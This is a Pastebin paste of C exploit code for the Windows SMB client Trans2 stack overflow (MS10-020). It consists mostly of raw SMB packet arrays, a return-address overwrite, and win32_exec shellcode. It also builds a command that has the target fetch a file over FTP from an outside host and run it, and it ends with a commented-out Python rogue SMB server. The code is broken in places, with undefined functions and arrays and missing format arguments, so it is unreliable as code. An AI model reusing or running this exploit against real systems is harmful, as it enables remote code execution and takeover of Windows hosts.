Advertisement
Guest User

Untitled

a guest
Jun 20th, 2017
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // Win7 & 2K8 SMB Client Trans2 stack overflow (MS10-020)
  2. #include <windows.h>
  3. #include <stdio.h>
  4. #include <winsock2.h>
  5. #include <iostream>
  6. #pragma comment(lib, "ws2_32")
  7.  
  8. /*
  9. unsigned char uszSessionRequest[] =
  10. "\x81\x00\x00\x44\x20\x43\x4b\x46\x44\x45\x4e\x45\x43\x46\x44\x45"
  11. "\x46\x46\x43\x46\x47\x45\x46\x46\x43\x43\x41\x43\x41\x43\x41\x43"
  12. "\x41\x43\x41\x43\x41\x00\x20\x45\x4b\x45\x44\x46\x45\x45\x49\x45"
  13. "\x44\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43"
  14. "\x41\x43\x41\x43\x41\x41\x41\x00";
  15.  
  16. unsigned char uszNegotiate[] =
  17. "\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC8"
  18. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
  19. "\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F"
  20. "\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02"
  21. "\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F"
  22. "\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70"
  23. "\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30"
  24. "\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54"
  25. "\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00";
  26.  
  27. unsigned char uszSessionSetupAndX[] =
  28. "\x00\x00\x00\xB9"
  29. "\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x01\x28\x00\x00\x00\x00"
  30. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x75\xC0\x00\x00\xD7\x6D"
  31. "\x0C\xFF\x00\x00\x00\xDF\xFF\x02\x00\x01\x00\x00\x00\x00\x00\x5B"
  32. "\x00\x00\x00\x00\x00\x5C\xD0\x00\x80\x7E\x00\x60\x59\x06\x06\x2B"
  33. "\x06\x01\x05\x05\x02\xA0\x4F\x30\x4D\xA0\x0E\x30\x0C\x06\x0A\x2B"
  34. "\x06\x01\x04\x01\x82\x37\x02\x02\x0A\xA2\x3B\x04\x39\x4E\x54\x4C"
  35. "\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x01\x02\x08\x00\x09\x00\x09"
  36. "\x00\x20\x00\x00\x00\x10\x00\x10\x00\x29\x00\x00\x00\x57\x4F\x52"
  37. "\x4B\x47\x52\x4F\x55\x50\x6C\x51\x50\x78\x66\x32\x49\x53\x51\x67"
  38. "\x45\x56\x31\x62\x47\x4B\x57\x69\x6E\x64\x6F\x77\x73\x20\x32\x30"
  39. "\x30\x30\x20\x32\x31\x39\x35\x00\x57\x69\x6E\x64\x6F\x77\x73\x20"
  40. "\x32\x30\x30\x30\x20\x35\x2E\x30\x00";
  41.  
  42. unsigned char uszSessionSetupAndX2[] =
  43. "\x00\x00\x01\x0D"
  44. "\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x01\x28\x00\x00\x00\x00"
  45. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x75\xC0\x00\x20\xD7\x6D"
  46. "\x0C\xFF\x00\x00\x00\xDF\xFF\x02\x00\x01\x00\x00\x00\x00\x00\xAF"
  47. "\x00\x00\x00\x00\x00\x5C\xD0\x00\x80\xD2\x00\xA1\x81\xAC\x30\x81"
  48. "\xA9\xA2\x81\xA6\x04\x81\xA3\x4E\x54\x4C\x4D\x53\x53\x50\x00\x03"
  49. "\x00\x00\x00\x18\x00\x18\x00\x40\x00\x00\x00\x18\x00\x18\x00\x58"
  50. "\x00\x00\x00\x12\x00\x12\x00\x70\x00\x00\x00\x00\x00\x00\x00\x82"
  51. "\x00\x00\x00\x20\x00\x20\x00\x82\x00\x00\x00\x00\x00\x00\x00\xA2"
  52. "\x00\x00\x00\x01\x02\x08\x00\xED\xB7\x39\x88\x77\xD7\x16\xBE\x00"
  53. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x42"
  54. "\xAE\xB7\x1F\xBB\x6D\xC1\x84\x99\x01\x6B\x08\xB1\x78\xBA\x65\x43"
  55. "\x0A\xD3\x9A\xE2\x49\x86\x29\x57\x00\x4F\x00\x52\x00\x4B\x00\x47"
  56. "\x00\x52\x00\x4F\x00\x55\x00\x50\x00\x6C\x00\x51\x00\x50\x00\x78"
  57. "\x00\x66\x00\x32\x00\x49\x00\x53\x00\x51\x00\x67\x00\x45\x00\x56"
  58. "\x00\x31\x00\x62\x00\x47\x00\x4B\x00\x00\x57\x69\x6E\x64\x6F\x77"
  59. "\x73\x20\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00\x57\x69\x6E\x64"
  60. "\x6F\x77\x73\x20\x32\x30\x30\x30\x20\x35\x2E\x30\x00";
  61.  
  62. unsigned char uszTreeConnectAndX[] =
  63. "\x00\x00\x00\x37"
  64. "\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x01\x20\x00\x00\x00\x00"
  65. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x75\xC0\x01\x20\xD7\x6D"
  66. "\x04\xFF\x00\x00\x00\x00\x00\x01\x00\x0C\x00\x00\x49\x50\x43\x24"
  67. "\x00\x3F\x3F\x3F\x3F\x3F\x00";
  68.  
  69. /* browser (srvsvc is also usable) */
  70. unsigned char uszPipeRequestBrowser[] =
  71. "\x00\x00\x00\x5C\xFF\x53\x4D\x42\xA2\x00\x00\x00\x00\x18\x01\x20"
  72. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x78\x04"
  73. "\x00\x08\x40\x00\x18\xFF\x00\xDE\xDE\x00\x08\x00\x16\x00\x00\x00"
  74. "\x00\x00\x00\x00\x9F\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  75. "\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00"
  76. "\x02\x00\x00\x00\x03\x09\x00\x5C\x62\x72\x6F"
  77. "\x77\x73\x65\x72\x00";
  78.  
  79. /*
  80. unsigned char uszPipeRequestSrvsvc[] =
  81. "\x00\x00\x00\x5B\xFF\x53\x4D\x42\xA2\x00\x00\x00\x00\x18\x01\x20"
  82. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x78\x04"
  83. "\x00\x08\x40\x00\x18\xFF\x00\xDE\xDE\x00\x07\x00\x16\x00\x00\x00"
  84. "\x00\x00\x00\x00\x9F\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  85. "\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00"
  86. "\x02\x00\x00\x00\x03\x08\x00\\SRVSVC\x00";
  87. */
  88.  
  89. */
  90.  
  91. unsigned char packetnego[] =
  92. "\x00\x00\x00\x55"
  93. "\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x98\x53\xc8\x00\x00\x00\x00"
  94. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00"
  95. "\x11\x05\x00\x03\x0a\x00\x01\x00\x04\x11\x00\x00\x00\x00\x01\x00"
  96. "\x00\x00\x00\x00\xfd\xe3\x00\x80\x1a\x49\xf9\x22\xfb\x86\xca\x01"
  97. "\x88\xff\x00\x10\x00\xf0\xe4\x54\xc4\x50\x6c\xb2\x4a\xb9\x3a\x6b"
  98. "\xcf\xb0\x8c\x8d\xaf";
  99.  
  100. unsigned char packetsession[] =
  101. "\x00\x00\x01\x3d"
  102. "\xff\x53\x4d\x42\x73\x16\x00\x00\xc0\x98\x07\xc8\x00\x00\x00\x00"
  103. "\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe\x00\x08\x10\x00"
  104. "\x04\xff\x00\x3d\x01\x00\x00\xc8\x00\x12\x01\x4e\x54\x4c\x4d\x53"
  105. "\x53\x50\x00\x02\x00\x00\x00\x0c\x00\x0c\x00\x38\x00\x00\x00\x15"
  106. "\x82\x8a\xe2\x16\x7a\x68\x5f\xc6\x0c\x78\xd8\x00\x00\x00\x00\x00"
  107. "\x00\x00\x00\x84\x00\x84\x00\x44\x00\x00\x00\x05\x01\x28\x0a\x00"
  108. "\x00\x00\x0f\x46\x00\x55\x00\x43\x00\x4b\x00\x55\x00\x32\x00\x02"
  109. "\x00\x0c\x00\x46\x00\x55\x00\x43\x00\x4b\x00\x55\x00\x32\x00\x01"
  110. "\x00\x0c\x00\x46\x00\x55\x00\x43\x00\x4b\x00\x55\x00\x32\x00\x04"
  111. "\x00\x22\x00\x66\x00\x75\x00\x63\x00\x6b\x00\x75\x00\x32\x00\x2e"
  112. "\x00\x74\x00\x65\x00\x73\x00\x74\x00\x2e\x00\x6c\x00\x6f\x00\x63"
  113. "\x00\x61\x00\x6c\x00\x03\x00\x22\x00\x66\x00\x75\x00\x63\x00\x6b"
  114. "\x00\x75\x00\x32\x00\x2e\x00\x74\x00\x65\x00\x73\x00\x74\x00\x2e"
  115. "\x00\x6c\x00\x6f\x00\x63\x00\x61\x00\x6c\x00\x06\x00\x04\x00\x01"
  116. "\x00\x00\x00\x07\x00\x08\x00\xe8\x62\xc8\x16\xfb\x86\xca\x01\x00"
  117. "\x00\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00"
  118. "\x73\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x57\x00\x69\x00"
  119. "\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00"
  120. "\x30\x00\x30\x00\x20\x00\x4c\x00\x41\x00\x4e\x00\x20\x00\x4d\x00"
  121. "\x61\x00\x6e\x00\x61\x00\x67\x00\x65\x00\x72\x00\x00";
  122.  
  123. unsigned char packetsession2[] =
  124. "\x00\x00\x00\x75"
  125. "\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
  126. "\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe\x00\x08\x20\x00"
  127. "\x04\xff\x00\x75\x00\x01\x00\x00\x00\x4a\x00\x00\x57\x00\x69\x00"
  128. "\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x35\x00\x2e\x00"
  129. "\x31\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00"
  130. "\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x4c\x00"
  131. "\x41\x00\x4e\x00\x20\x00\x4d\x00\x61\x00\x6e\x00\x61\x00\x67\x00"
  132. "\x65\x00\x72\x00\x00";
  133.  
  134. unsigned char uszSessionSetupAndX3[] =
  135. "\x00\x00\x00\x6B"
  136. "\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x01\x20\x00\x00\x00\x00"
  137. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x75\xC0\x00\x00\xD7\x6D"
  138. "\x0D\xFF\x00\x00\x00\xDF\xFF\x02\x00\x01\x00\x00\x00\x00\x00\x00"
  139. "\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x2E\x00\x00\x57\x4F"
  140. "\x52\x4B\x47\x52\x4F\x55\x50\x00\x57\x69\x6E\x64\x6F\x77\x73\x20"
  141. "\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00\x57\x69\x6E\x64\x6F\x77"
  142. "\x73\x20\x32\x30\x30\x30\x20\x35\x2E\x30\x00";
  143.  
  144. unsigned char packetree[] =
  145. "\x00\x00\x00\x38"
  146. "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
  147. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xfe\x00\x08\x30\x00"
  148. "\x07\xff\x00\x38\x00\x01\x00\xff\x01\x00\x00\xff\x01\x00\x00\x07"
  149. "\x00\x49\x50\x43\x00\x00\x00\x00";
  150.  
  151. unsigned char packetntcreate[] =
  152. "\x00\x00\x00\x87"
  153. "\xff\x53\x4d\x42\xa2\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
  154. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x84\x08\x00\x08\x40\x00"
  155. "\x2a\xff\x00\x87\x00\x00\x00\x40\x01\x00\x00\x00\x00\x00\x00\x00"
  156. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  157. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00"
  158. "\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  159. "\x02\x00\xff\x05\x00\xff\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  160. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x9b\x01\x12"
  161. "\x00\x9b\x01\x12\x00\x00\x00";
  162.  
  163. unsigned char packetrans[] = {
  164. "\x00\x00\x00\x5a"
  165. "\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
  166. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x30\x0b\x00\x08\x50\x00"
  167. "\x0a\x02\x00\x18\x00\x00\x00\x02\x00\x38\x00\x00\x00\x18\x00\xff"
  168. "\xff\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00"
  169. "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x50\x51\x52\x53\x54\x55\x56"
  170. "\x02\x61\x42\x42\x42\x42\x41\x41\x41\x41"; //+EBP+EIP;
  171.  
  172. //EBP = "\x42\x42\x42\x42"
  173. //EIP = "\x41\x41\x41\x41"
  174.  
  175. /* win32_exec shellcode */
  176. /* We need to use ExitThread, otherwise remote system will reboot */
  177. unsigned char uszShellcode[] =
  178. "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b"
  179. "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99"
  180. "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04"
  181. "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb"
  182. "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64"
  183. "\x8b\x46\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83"
  184. "\xc0\x6a\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff\xe7";
  185.  
  186. void main(int argc, char **argv) {
  187.     WSADATA wsaData;
  188.     SOCKET sockClient;
  189.     SOCKADDR_IN sAddr;
  190.     char szRecv[4096];
  191.     unsigned short ushSmbLen=0;
  192.     int nLen;
  193.     unsigned short ushUserID, ushTreeID, ushFID;
  194.  
  195.     if (argc < 2) {
  196.     usage();
  197.     return;
  198.     }
  199.     if (WSAStartup(MAKEWORD(2, 0), &wsaData) != NO_ERROR) {
  200.     printf("[-] WSAStartup failure\n");
  201.     return;
  202.     }
  203.     sockClient = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  204.     if (sockClient == INVALID_SOCKET) return;
  205.        sAddr.sin_family = AF_INET;
  206.        sAddr.sin_addr.s_addr = inet_addr(argv[1]);
  207.        sAddr.sin_port = htons(445);
  208.     printf("[+] Connecting to: %s\n", argv[1]);
  209.     if (connect(sockClient, (SOCKADDR *)&sAddr, sizeof(sAddr)) == SOCKET_ERROR) {
  210.     printf("[-] Failed to connect\n");
  211.     closesocket(sockClient);
  212.     return;
  213.     }
  214.     printf("[*] Establishing null session\n");
  215.     if (send(sockClient, (const char*)packetnego, sizeof(packetnego) - 1, 0) == SOCKET_ERROR) {
  216.     printf("[-] Send failed\n");
  217.     closesocket(sockClient);
  218.     return;
  219.     }
  220.     nLen = recv(sockClient, szRecv, 4096, 0);
  221.     if (nLen < 1) {
  222.     printf("[-] Failed to receive NegotiateRequest Response.\n");
  223.     closesocket(sockClient);
  224.     return;
  225.     }
  226.     if (send(sockClient, (const char*)packetsession, sizeof(packetsession) - 1, 0) == SOCKET_ERROR) {
  227.     printf("[-] Send failed\n");
  228.     closesocket(sockClient);
  229.     return;
  230.     }
  231.     nLen = recv(sockClient, szRecv, 4096, 0);
  232.     if (nLen <= 10) {
  233.     printf("[-] Failed to receive SessionSetupAndX1 Response.\n");
  234.     closesocket(sockClient);
  235.     return;
  236.     }
  237.     ushUserID = *(WORD *)(szRecv + 32);
  238.     memcpy(packetsession2 + 32, (char *)&ushUserID, 2);
  239.     if (send(sockClient, (const char*)packetsession2, sizeof(packetsession2) - 1, 0) == SOCKET_ERROR) {
  240.     printf("[-] Send failed\n");
  241.     closesocket(sockClient );
  242.     return;
  243.     }
  244.     nLen = recv(sockClient, szRecv, 4096, 0);
  245.     if (nLen <= 10) {
  246.     printf("[-] Failed to receive SessionSetupAndX2 Response.\n");
  247.     closesocket(sockClient);
  248.     return;
  249.     }
  250.     if (send(sockClient, (const char*)packetntcreate, sizeof(packetntcreate) - 1, 0) == SOCKET_ERROR) {
  251.     printf("[-] Send failed\n");
  252.     closesocket(sockClient);
  253.     return;
  254.     }
  255.     nLen = recv(sockClient, szRecv, 4096, 0);
  256.     if (nLen <= 10) {
  257.     printf("[-] Failed to receive SessionSetupAndX2 Response.\n");
  258.     closesocket(sockClient);
  259.     return;
  260.     }
  261.     printf("[*] Sending TreeConnect Request\n");
  262.     ushUserID = *(WORD *)(szRecv + 32);
  263.     memcpy(packetree + 32, (char *)&ushUserID, 2);
  264.     if (send(sockClient, (const char*)packetree, sizeof(packetree) - 1, 0) == SOCKET_ERROR) {
  265.     printf("[-] Send failed\n");
  266.     closesocket(sockClient);
  267.     return;
  268.     }
  269.     nLen = recv(sockClient, szRecv, 4096, 0);
  270.     if ((nLen <= 10) || (szRecv[9] != 0)) {
  271.     printf("[-] Failed to receive proper TreeConnectAndX response.\n");
  272.     closesocket(sockClient);
  273.     return;
  274.     }
  275.     printf("[*] Sending PipeRequest \\browser\n");
  276.     ushTreeID = *(WORD *)(szRecv + 28);
  277.     memcpy(packetntcreate + 28, (char *)&ushTreeID, 2);
  278.     memcpy(packetntcreate + 32, (char *)&ushUserID, 2);
  279.     if (send(sockClient, (const char*)packetntcreate, sizeof(packetntcreate) - 1, 0) == SOCKET_ERROR ) {
  280.     printf("[-] Send failed\n");
  281.     closesocket(sockClient);
  282.     return;
  283.     }
  284.     nLen = recv(sockClient, szRecv, 4096, 0);
  285.     if ((nLen <= 10) || (szRecv[9] != 0)) {
  286.     printf("[-] Failed to receive proper PipeRequest Response.\n");
  287.     closesocket(sockClient);
  288.     return;
  289.     }
  290.  
  291.     ushFID = *(WORD *)(szRecv + 42);
  292.     memcpy(packetsession + 28, (char *)&ushTreeID, 2);
  293.     memcpy(packetsession + 32, (char *)&ushUserID, 2);
  294.     memcpy(packetsession + 41, (char *)&ushFID, 2);
  295.     if (send(sockClient, (const char*)packetsession, sizeof(packetsession) - 1, 0) == SOCKET_ERROR) {
  296.     printf("[-] Send failed\n");
  297.     closesocket(sockClient);
  298.     return;
  299.     }
  300.     nLen = recv(sockClient, szRecv, 4096, 0);
  301.     if ((nLen <= 10) || (szRecv[9] != 0)) {
  302.     printf("[-] Failed to receive proper DceBind Response.\n");
  303.     closesocket(sockClient);
  304.     return;
  305.     }
  306.     memcpy(packetsession2 + 28, (char *)&ushTreeID, 2 );
  307.     memcpy(packetsession2 + 32, (char *)&ushUserID, 2 );
  308.     memcpy(packetsession2 + 41, (char *)&ushFID, 2 );
  309.     if (send(sockClient, (const char*)packetsession2, sizeof(packetsession2) - 1, 0 ) == SOCKET_ERROR ) {
  310.     printf("[-] Send failed\n");
  311.     closesocket(sockClient);
  312.     return;
  313.     }
  314.     nLen = recv(sockClient, szRecv, 4096, 0);
  315.     if ((nLen <= 10) || (szRecv[9] != 0)) {
  316.     printf("[-] Failed to receive proper SMBAndXRead response.\n");
  317.     closesocket(sockClient);
  318.     return;
  319.     }
  320.     memcpy(packetrans + 28, (char *)&ushTreeID, 2);
  321.     memcpy(packetrans + 32, (char *)&ushUserID, 2);
  322.     memcpy(packetrans + 41, (char *)&ushFID, 2);
  323.  
  324.     char szCmdLine[256];
  325.     _snprintf(szCmdLine, sizeof(szCmdLine) - 1,
  326.     "cmd /c echo open %s %s > i&echo user %s %s >> i &echo get %s >> i &echo quit >> i &ftp -n -s:i &%s\r\n",
  327.     /*szFTPAddr, szFTPPort, szFTPUser, szFTPPass, szFTPFilename, szFTPFilename*/);
  328.  
  329.     int nShellcodeLength = sizeof(uszShellcode) + strlen(szCmdLine);
  330.     unsigned char *uszFormattedShellcode = (unsigned char *)malloc(nShellcodeLength);
  331.     memcpy(uszFormattedShellcode, uszShellcode, sizeof(uszShellcode) - 1);
  332.     memcpy(uszFormattedShellcode + sizeof(uszShellcode) - 1, szCmdLine, strlen(szCmdLine) + 1);
  333.  
  334.     /* Encode shellcode */
  335.     unsigned long ulEncodedSize = GetRNS0EncodedSize(nShellcodeLength);
  336.     char *pEncodedShellcode = (char *)malloc(ulEncodedSize);
  337.     unsigned long ulResult = EncodeRNS0(pEncodedShellcode, ulEncodedSize,(char *)uszFormattedShellcode, nShellcodeLength);
  338.     if (ulResult != ulEncodedSize) {
  339.     printf("[-] Shellcode could not be properly encoded.\n");
  340.     return;
  341.     }
  342.     memcpy( uszDceRequest + 273, pEncodedShellcode, ulResult );
  343.     memcpy( uszDceRequest + 657, &exploitOffsets[WINDOWS_2K].ulScratch, 4 );
  344.     memcpy( uszDceRequest + 661, &exploitOffsets[WINDOWS_2K].ulDisableNx, 4 );
  345.     memcpy( uszDceRequest + 669, &exploitOffsets[WINDOWS_2K].ulRet, 4 );
  346.  
  347.     if (send(sockClient, (const char*)packetrans, sizeof(packetrans) - 1, 0 ) == SOCKET_ERROR ) {
  348.     printf("[-] Send failed\n");
  349.     closesocket( sockClient );
  350.     return;
  351.     }
  352.     nLen = recv( sockClient, szRecv, 4096, 0 );
  353.     if ( ( nLen <= 10 ) || ( szRecv[9] != 0 ) ) {
  354.     printf("[-] Failed to receive proper SMBAndXRead response.\n");
  355.     closesocket( sockClient );
  356.     return;
  357.     }
  358.     free( uszFormattedShellcode );
  359.     free( pEncodedShellcode );
  360.     printf("[*] Happy rooting!\n");
  361. }  
  362.  
  363. /*
  364. class SMB1(SocketServer.BaseRequestHandler):
  365.     def server_bind(self):
  366.        self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1)
  367.        self.socket.bind(self.server_address)
  368.     def handle(self):
  369.       try:
  370.        while True:
  371.          print "From:", self.client_address
  372.          data = self.request.recv(1024)
  373.          ##Negotiate Protocol Response
  374.          if data[8] == "\x72":
  375.            self.request.send(packetnego)
  376.            print "Negotiate Response sent\n"
  377.          ##Session Setup AndX Response, NTLMSSP_CHALLENGE, Error: STATUS_MORE_PROCESSING_REQUIRED
  378.          if data[8] == "\x73":
  379.            self.request.send(packetsession)
  380.            print "Session Response sent\n"
  381.            #Session Setup AndX Response
  382.            data = self.request.recv(1024)
  383.            if data[8] == "\x73":
  384.               self.request.send(packetsession2)
  385.               print "Session 2 Response sent\n"
  386.          ##Tree Connect AndX Response
  387.          if data[8] == "\x75":    
  388.            self.request.send(packetree)
  389.            print "TREE Response sent\n"
  390.          ##NT Create AndX Response, FID: 0x4000
  391.          if data[8] == "\xa2":      
  392.            self.request.send(packetntcreate)
  393.            print "NT create Response sent\n"
  394.          ####Trans2 Response, QUERY_FS_INFO
  395.          if data[8] == "\x32":    
  396.            self.request.send(packetrans)
  397.            print "Trans2 Response sent box pwned\n"
  398.       except Exception:
  399.          print "oups"
  400.          self.request.close()
  401.          print "Disconnected from", self.client_address
  402. SocketServer.TCPServer.allow_reuse_address = 1
  403. launch = SocketServer.TCPServer(('', 445),SMB1)
  404. launch.serve_forever()
  405. */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement